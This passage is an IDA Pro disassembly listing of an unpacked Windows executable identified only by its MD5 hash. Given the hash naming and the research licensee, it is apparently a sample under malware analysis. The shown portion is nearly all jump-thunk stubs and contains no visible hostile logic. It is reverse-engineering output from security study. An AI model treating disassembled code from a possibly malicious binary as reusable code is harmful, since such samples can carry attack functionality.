; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 9CFFAA91DA6501AFAEAD9ABAF955FA55 ; File Name : u:\work\9cffaa91da6501afaead9abaf955fa55_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00112000 (1122304.) ; Section size in file : 00112000 (1122304.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing db 5 dup(0CCh) ; --------------------------------------------------------------------------- jmp loc_430920 ; --------------------------------------------------------------------------- loc_40100A: ; DATA XREF: ___:off_43F09Co jmp loc_412D80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40100F proc near ; CODE XREF: sub_421BF0+29p jmp sub_422150 sub_40100F endp ; --------------------------------------------------------------------------- jmp loc_432540 ; --------------------------------------------------------------------------- jmp loc_420EA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40101E proc near ; CODE XREF: ___:004119B3p jmp sub_4119E0 sub_40101E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401023 proc near ; CODE XREF: ___:0040B29Dp ; ___:0040B2AAp ... jmp sub_403C50 sub_401023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401028 proc near ; CODE XREF: sub_41FB90+34p jmp sub_40B0E0 sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40102D proc near ; CODE XREF: sub_404CC0+616p ; sub_404CC0+6D5p ... jmp sub_40A110 sub_40102D endp ; --------------------------------------------------------------------------- jmp sub_42B3F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401037 proc near ; CODE XREF: sub_4135E0+3Bp ; ___:00414C00p jmp sub_4156D0 sub_401037 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40103C proc near ; CODE XREF: sub_430B30+6Ep ; sub_430B30+8Ap ... jmp sub_4342D0 sub_40103C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401041 proc near ; CODE XREF: ___:00430212p ; sub_430B30+3Fp ... jmp sub_434150 sub_401041 endp ; --------------------------------------------------------------------------- jmp loc_423A40 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40104B proc near jmp sub_40D210 sub_40104B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401050 proc near ; CODE XREF: sub_40B0E0+3Ap ; sub_40B150+1Ap jmp sub_433C70 sub_401050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401055 proc near ; CODE XREF: sub_41E760+37Bp jmp sub_421D30 sub_401055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105A proc near ; CODE XREF: sub_40C1A0+8p jmp sub_40C360 sub_40105A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105F proc near ; CODE XREF: sub_432BF0+5Ap ; sub_434A00+50p jmp sub_432BB0 sub_40105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401064 proc near ; DATA XREF: ___:off_43F07Co jmp sub_41C710 sub_401064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401069 proc near ; CODE XREF: ___:00416FAAp jmp sub_41FCD0 sub_401069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40106E proc near ; CODE XREF: sub_40C040+32p jmp sub_40C200 sub_40106E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401073 proc near ; CODE XREF: ___:00416FBAp jmp sub_418390 sub_401073 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401078 proc near ; CODE XREF: sub_415920+6Ap ; sub_416380+32p jmp sub_4162C0 sub_401078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40107D proc near ; CODE XREF: sub_41E760+161p ; sub_4224E0+3p jmp sub_421B50 sub_40107D endp ; --------------------------------------------------------------------------- jmp loc_41ADE0 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40108C proc near ; CODE XREF: sub_421D30+3p ; ___:004220FFp ... jmp sub_422270 sub_40108C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401091 proc near ; CODE XREF: sub_40C4E0+43p jmp sub_40CBB0 sub_401091 endp ; --------------------------------------------------------------------------- jmp sub_4292E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40109B proc near ; CODE XREF: sub_4075C0+Ap jmp sub_407660 sub_40109B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; CODE XREF: sub_4246D0+23p ; sub_424870+6p ... jmp sub_4245E0 sub_4010A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A5 proc near ; CODE XREF: sub_431EF0+F5p ; sub_431EF0+14Fp jmp sub_4340E0 sub_4010A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AA proc near ; CODE XREF: sub_4344C0+C8p jmp sub_431C80 sub_4010AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AF proc near ; DATA XREF: ___:0043F174o jmp sub_42B0B0 sub_4010AF endp ; --------------------------------------------------------------------------- loc_4010B4: ; DATA XREF: ___:off_43F0A0o jmp loc_41E3C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B9 proc near ; CODE XREF: sub_418430+D0p ; sub_418590+2Dp jmp sub_418B20 sub_4010B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010BE proc near ; CODE XREF: sub_410030+8D9p ; sub_410030+990p ... jmp sub_411930 sub_4010BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C3 proc near ; CODE XREF: ___:00430626p ; ___:00430694p ... jmp sub_4321F0 sub_4010C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C8 proc near ; CODE XREF: sub_421E50+9p ; sub_422340+18p jmp sub_4224C0 sub_4010C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010CD proc near ; CODE XREF: sub_40AAD0+58p ; sub_40AAD0+82p ... jmp sub_40ACC0 sub_4010CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D2 proc near ; CODE XREF: sub_422B40+3F1p ; ___:00423BA6p ... jmp sub_419BE0 sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010D7 proc near ; CODE XREF: sub_416110+7p jmp sub_416740 sub_4010D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010DC proc near ; CODE XREF: sub_415600+5Bp ; sub_415F70+11p ... jmp sub_4161C0 sub_4010DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E1 proc near ; CODE XREF: sub_42AF20+58p jmp sub_42AD90 sub_4010E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010E6 proc near ; CODE XREF: sub_421970+1Fp jmp sub_421DB0 sub_4010E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010EB proc near ; CODE XREF: sub_4220B0+11p ; ___:004220D7p ... jmp sub_4225D0 sub_4010EB endp ; --------------------------------------------------------------------------- jmp loc_413E30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F5 proc near ; CODE XREF: sub_421B30+3p ; ___:00421E9Fp ... jmp sub_422010 sub_4010F5 endp ; --------------------------------------------------------------------------- jmp loc_4144D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FF proc near ; CODE XREF: sub_428210+3p jmp sub_428240 sub_4010FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401104 proc near ; CODE XREF: sub_415B00+11p ; ___:00415B27p ... jmp sub_416570 sub_401104 endp ; --------------------------------------------------------------------------- jmp loc_434600 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40110E proc near ; CODE XREF: sub_421C60+5p ; sub_421D50+6p ... jmp sub_422250 sub_40110E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401113 proc near ; CODE XREF: ___:00416B5Bp ; ___:0043B25Ej ... jmp sub_417B60 sub_401113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401118 proc near ; CODE XREF: sub_404CC0+6Ap ; sub_404CC0+1AFp ... jmp sub_412A40 sub_401118 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40111D proc near ; DATA XREF: ___:off_43F074o jmp sub_4193C0 sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401122 proc near ; CODE XREF: sub_432D10+6p ; ___:00432D23p ... jmp sub_430770 sub_401122 endp ; --------------------------------------------------------------------------- jmp loc_42F6C0 ; --------------------------------------------------------------------------- loc_40112C: ; DATA XREF: ___:off_43F15Co jmp loc_42AD20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401131 proc near ; CODE XREF: ___:00423D9Dp jmp sub_423860 sub_401131 endp ; --------------------------------------------------------------------------- jmp loc_433240 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40113B proc near ; CODE XREF: ___:00415178p jmp sub_415A90 sub_40113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401140 proc near ; CODE XREF: sub_41BA50+F7p ; sub_41BA50+10Bp ... jmp sub_409F80 sub_401140 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401145 proc near ; CODE XREF: sub_4099F0+Ap jmp sub_409AE0 sub_401145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114A proc near ; CODE XREF: sub_4134A0+55p ; sub_4134A0+94p ... jmp sub_415860 sub_40114A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114F proc near ; CODE XREF: sub_425100+18Cp ; ___:00425F7Dp jmp sub_4236F0 sub_40114F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401154 proc near ; CODE XREF: ___:00414C8Ep jmp sub_415600 sub_401154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401159 proc near ; CODE XREF: sub_4288F0+3p jmp sub_428920 sub_401159 endp ; --------------------------------------------------------------------------- loc_40115E: ; DATA XREF: ___:off_43F038o jmp loc_4119B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401163 proc near ; CODE XREF: sub_415ED0+11p ; ___:00415EF7p ... jmp sub_4166F0 sub_401163 endp ; --------------------------------------------------------------------------- jmp loc_41D830 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40116D proc near ; CODE XREF: sub_418C10+23p ; sub_418E80+11p jmp sub_418F60 sub_40116D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401172 proc near ; CODE XREF: sub_418B90+3p ; sub_418F90+54p ... jmp sub_418DE0 sub_401172 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401177 proc near ; CODE XREF: sub_4096E0+6Ap ; sub_4096E0+103p jmp sub_409980 sub_401177 endp ; --------------------------------------------------------------------------- jmp loc_433B30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401181 proc near ; CODE XREF: ___:00413E4Dp jmp sub_413C40 sub_401181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401186 proc near ; CODE XREF: ___:0041A2E4p jmp sub_41B0E0 sub_401186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40118B proc near ; CODE XREF: sub_4134A0+88p ; sub_4148A0+BFp ... jmp sub_415A30 sub_40118B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401190 proc near ; CODE XREF: sub_430770+7p ; sub_4307E0+19p ... jmp sub_434BA0 sub_401190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401195 proc near jmp sub_40DBF0 sub_401195 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40119A proc near ; CODE XREF: ___:0043239Ap jmp sub_431D40 sub_40119A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40119F proc near ; CODE XREF: sub_407230+11p ; sub_4073C0+1Fp jmp sub_407460 sub_40119F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A4 proc near ; CODE XREF: sub_403720+3B5p ; sub_403720+3C5p ... jmp sub_403E50 sub_4011A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A9 proc near ; CODE XREF: sub_421D10+3p jmp sub_422290 sub_4011A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011AE proc near ; CODE XREF: sub_40C330+Ap jmp sub_40C3F0 sub_4011AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B3 proc near ; CODE XREF: sub_403720+1Dp ; sub_407080+1Fp ... jmp sub_403CC0 sub_4011B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011B8 proc near ; CODE XREF: ___:00413344p ; ___:0043AC8Cj ... jmp sub_415490 sub_4011B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011BD proc near ; CODE XREF: sub_42C640+3p jmp sub_42C670 sub_4011BD endp ; --------------------------------------------------------------------------- jmp loc_40AFE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011C7 proc near ; CODE XREF: ___:00414C9Dp jmp sub_414D40 sub_4011C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011CC proc near ; CODE XREF: sub_407660+7p ; sub_409AE0+7p ... jmp sub_407690 sub_4011CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D1 proc near ; CODE XREF: sub_4135E0+73p ; ___:00414C3Dp ... jmp sub_4156F0 sub_4011D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D6 proc near ; CODE XREF: sub_41E760+58p jmp sub_420630 sub_4011D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011DB proc near ; CODE XREF: sub_413E70+84p jmp sub_4138B0 sub_4011DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E0 proc near ; CODE XREF: ___:00433718p jmp sub_431060 sub_4011E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E5 proc near ; CODE XREF: sub_407510+8p jmp sub_4075F0 sub_4011E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011EA proc near ; CODE XREF: sub_404CC0+9Fp ; sub_404CC0+230p ... jmp sub_40A510 sub_4011EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011EF proc near ; CODE XREF: sub_40A870+21p ; sub_40AAD0+A5p jmp sub_40AAB0 sub_4011EF endp ; --------------------------------------------------------------------------- jmp loc_40B050 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F9 proc near ; CODE XREF: sub_40A510+129p ; sub_40A8F0+4p ... jmp sub_40A8C0 sub_4011F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011FE proc near ; DATA XREF: ___:off_43F0DCo jmp sub_427940 sub_4011FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401203 proc near ; CODE XREF: ___:004335ADp jmp sub_430D60 sub_401203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401208 proc near ; CODE XREF: sub_407340+3p ; ___:0040740Fp ... jmp sub_4074D0 sub_401208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40120D proc near ; CODE XREF: sub_41D930+346p ; sub_41D930+410p ... jmp sub_421970 sub_40120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401212 proc near ; CODE XREF: sub_421BB0+11p ; sub_4220B0+1Fp jmp sub_4221E0 sub_401212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401217 proc near ; CODE XREF: sub_42C7E0+3p jmp sub_42C810 sub_401217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40121C proc near jmp sub_4077E0 sub_40121C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401221 proc near ; CODE XREF: sub_40C200+5Fp jmp sub_40C3D0 sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401226 proc near ; CODE XREF: sub_403530+F6p ; sub_403530+12Ep ... jmp sub_409D10 sub_401226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40122B proc near ; CODE XREF: sub_41E760+113p ; sub_41E760+124p jmp sub_421B30 sub_40122B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401230 proc near ; DATA XREF: ___:0043F060o jmp sub_41F960 sub_401230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401235 proc near ; CODE XREF: ___:00416BFBp ; ___:0043B1D2j ... jmp sub_4177B0 sub_401235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40123A proc near ; CODE XREF: sub_40AFA0+Fp jmp sub_431240 sub_40123A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40123F proc near ; CODE XREF: sub_418C10+32p jmp sub_418E80 sub_40123F endp ; --------------------------------------------------------------------------- jmp loc_434860 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401249 proc near ; CODE XREF: sub_415500+5p ; sub_415710+6p ... jmp sub_416130 sub_401249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40124E proc near ; CODE XREF: sub_40BD90+29p ; sub_40BEB0+29p jmp sub_40C040 sub_40124E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401253 proc near ; CODE XREF: sub_41E760+3E9p ; ___:0043C4ABj jmp sub_421BF0 sub_401253 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401258 proc near ; CODE XREF: sub_4145A0+BFp jmp sub_4152E0 sub_401258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40125D proc near ; CODE XREF: sub_4165E0+Ap jmp sub_416920 sub_40125D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401262 proc near ; CODE XREF: ___:00416C67p ; ___:0043B173j ... jmp sub_4170B0 sub_401262 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401267 proc near jmp sub_418430 sub_401267 endp ; --------------------------------------------------------------------------- jmp sub_416D30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401271 proc near ; CODE XREF: ___:00416F1Fp jmp sub_4180D0 sub_401271 endp ; --------------------------------------------------------------------------- jmp loc_414760 ; --------------------------------------------------------------------------- jmp loc_430320 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401280 proc near ; CODE XREF: sub_410030+387p ; sub_41F030+21Dp ... jmp sub_41B7E0 sub_401280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401285 proc near ; CODE XREF: ___:00416F5Ap jmp sub_418280 sub_401285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40128A proc near ; CODE XREF: sub_409570+8p jmp sub_4095C0 sub_40128A endp ; --------------------------------------------------------------------------- jmp loc_42AD20 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401294 proc near ; CODE XREF: sub_4096E0+A5p ; sub_412C90+21p jmp sub_4098F0 sub_401294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401299 proc near ; CODE XREF: sub_404CC0+382p ; sub_41D930+5AAp jmp sub_41C130 sub_401299 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40129E proc near ; CODE XREF: ___:00416E6Fp jmp sub_403720 sub_40129E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A3 proc near ; CODE XREF: sub_418CC0+23p ; sub_418F90+11p jmp sub_4190E0 sub_4012A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A8 proc near ; CODE XREF: sub_424920+Cp ; sub_424920+3Ep ... jmp sub_424410 sub_4012A8 endp ; --------------------------------------------------------------------------- jmp loc_430960 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B2 proc near ; CODE XREF: sub_404CC0+85Ap ; sub_404CC0+AD6p ... jmp sub_40A370 sub_4012B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B7 proc near ; CODE XREF: ___:0042FE06p ; ___:0042FE56p ... jmp sub_432780 sub_4012B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012BC proc near ; CODE XREF: sub_41E760+367p ; sub_41E760+3D4p ... jmp sub_421D80 sub_4012BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C1 proc near ; DATA XREF: sub_427D50+107o jmp sub_427FD0 sub_4012C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C6 proc near ; CODE XREF: sub_424800+18p ; sub_424840+Ap ... jmp sub_4247B0 sub_4012C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012CB proc near ; CODE XREF: sub_416220+9p ; sub_4162C0+18p jmp sub_4168D0 sub_4012CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D0 proc near ; DATA XREF: sub_432570+32o jmp sub_432D70 sub_4012D0 endp ; --------------------------------------------------------------------------- jmp loc_42FE50 ; --------------------------------------------------------------------------- jmp loc_419CB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DF proc near ; CODE XREF: sub_42AD90+67p jmp sub_41FFF0 sub_4012DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4012E4 proc near ; CODE XREF: ___:004301E8p ; sub_4303A0+2p ... jmp sub_431560 sub_4012E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E9 proc near ; CODE XREF: sub_413740+3Fp ; sub_4145A0+40p ... jmp sub_415230 sub_4012E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012EE proc near ; CODE XREF: sub_404690+19Fp ; sub_404690+212p ... jmp sub_409FD0 sub_4012EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F3 proc near ; CODE XREF: sub_424F70+B5p ; sub_424F70+F1p jmp sub_424F00 sub_4012F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F8 proc near ; CODE XREF: sub_425100+130p jmp sub_424F70 sub_4012F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012FD proc near ; CODE XREF: ___:00416F3Ap jmp sub_418180 sub_4012FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401302 proc near ; CODE XREF: ___:00416F0Fp jmp sub_418010 sub_401302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401307 proc near ; CODE XREF: sub_4316C0+1p jmp sub_431750 sub_401307 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40130C proc near ; CODE XREF: ___:00427201p jmp sub_427740 sub_40130C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401311 proc near ; CODE XREF: sub_418430+71p ; sub_418430+BBp ... jmp sub_418AF0 sub_401311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401316 proc near ; CODE XREF: sub_40A180+7p jmp sub_40A1A0 sub_401316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40131B proc near ; CODE XREF: ___:004329C8p ; sub_432A20+2Bp jmp sub_432BF0 sub_40131B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401320 proc near ; CODE XREF: sub_432570+1p jmp sub_4327B0 sub_401320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401325 proc near ; CODE XREF: sub_4208E0+37Bp jmp sub_421CD0 sub_401325 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40132A proc near ; CODE XREF: sub_414430+5Bp jmp sub_415100 sub_40132A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132F proc near ; CODE XREF: sub_415490+29p ; sub_4155B0+29p jmp sub_416030 sub_40132F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401334 proc near ; CODE XREF: ___:00437232p ; ___:00437242p ... jmp sub_4370F0 sub_401334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401339 proc near ; CODE XREF: sub_4134A0+5Fp ; sub_4134A0+9Ep ... jmp sub_415A60 sub_401339 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40133E proc near ; CODE XREF: sub_40B600+62p ; ___:0040BAC8p ... jmp sub_40BF40 sub_40133E endp ; --------------------------------------------------------------------------- jmp loc_4313B0 ; --------------------------------------------------------------------------- jmp loc_42FF30 ; --------------------------------------------------------------------------- loc_40134D: ; DATA XREF: ___:0043F1A8o jmp loc_42C690 ; --------------------------------------------------------------------------- jmp loc_42C5D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401357 proc near ; CODE XREF: sub_416190+8p jmp sub_4167B0 sub_401357 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40135C proc near ; CODE XREF: sub_4134A0+71p ; sub_4134A0:loc_41356Cp ... jmp sub_415A10 sub_40135C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401361 proc near ; CODE XREF: sub_418430+AFp ; sub_4190E0+3p jmp sub_418BB0 sub_401361 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401366 proc near ; DATA XREF: ___:0043F104o jmp sub_427D50 sub_401366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40136B proc near ; CODE XREF: sub_40B600+39p ; sub_40B600+78p ... jmp sub_40BF70 sub_40136B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401370 proc near ; CODE XREF: sub_426A90+29p ; sub_426A90+38p jmp sub_4269A0 sub_401370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401375 proc near ; CODE XREF: sub_41A600+1Cp jmp sub_41A640 sub_401375 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40137A proc near ; DATA XREF: ___:0043F164o jmp sub_42AF20 sub_40137A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40137F proc near ; CODE XREF: ___:00408C9Ap ; ___:00414551p jmp sub_414300 sub_40137F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401384 proc near ; CODE XREF: sub_418590+72p jmp sub_406C80 sub_401384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401389 proc near ; CODE XREF: sub_409E00+7p ; sub_409F50+7p ... jmp sub_40A7E0 sub_401389 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40138E proc near ; DATA XREF: ___:off_43F080o jmp sub_422B40 sub_40138E endp ; --------------------------------------------------------------------------- jmp loc_413BB0 ; --------------------------------------------------------------------------- jmp sub_42C640 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40139D proc near ; CODE XREF: sub_418A00+11p ; sub_421DB0+1Fp jmp sub_418D50 sub_40139D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C5C0 loc_4013A2: ; CODE XREF: sub_42C5C0+3j jmp sub_42BB00 ; END OF FUNCTION CHUNK FOR sub_42C5C0 ; --------------------------------------------------------------------------- jmp sub_42C7E0 ; --------------------------------------------------------------------------- jmp loc_42FEA0 ; --------------------------------------------------------------------------- jmp loc_414B30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013B6 proc near ; CODE XREF: sub_4072E0+1Fp jmp sub_4073C0 sub_4013B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013BB proc near ; CODE XREF: sub_4257F0+47Fp jmp sub_4253C0 sub_4013BB endp ; --------------------------------------------------------------------------- jmp loc_42FAA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013C5 proc near ; CODE XREF: sub_40FE40+3p ; ___:00416BEBp ... jmp sub_40FE70 sub_4013C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013CA proc near ; CODE XREF: sub_426560+Cp ; sub_4266D0+Ap ... jmp sub_426520 sub_4013CA endp ; --------------------------------------------------------------------------- jmp loc_40D3C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D4 proc near ; CODE XREF: sub_4253C0+E9p 